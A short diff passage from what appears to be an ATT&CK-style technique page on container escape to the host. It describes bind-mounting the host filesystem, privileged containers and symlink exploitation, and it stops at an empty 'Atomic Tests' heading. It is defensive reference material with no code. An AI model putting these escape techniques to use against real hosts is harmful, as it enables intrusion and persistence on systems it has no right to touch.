+There are multiple ways an adversary may escape to a host environment. Examples include creating a container configured to mount the host’s filesystem using the bind parameter, which allows the adversary to drop payloads and execute control utilities such as cron on the host, or utilizing a privileged container to run commands on the underlying host.(Citation: Docker Bind Mounts)(Citation: Trend Micro Privileged Container)(Citation: Intezer Doki July 20) Adversaries may also escape via [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), such as exploiting vulnerabilities in global symbolic links in order to access the root directory of a host machine.(Citation: Windows Server Containers Are Open)
+
+Gaining access to the host may provide the adversary with the opportunity to achieve follow-on objectives, such as establishing persistence, moving laterally within the environment, or setting up a command and control channel on the host.</blockquote>
 
 ## Atomic Tests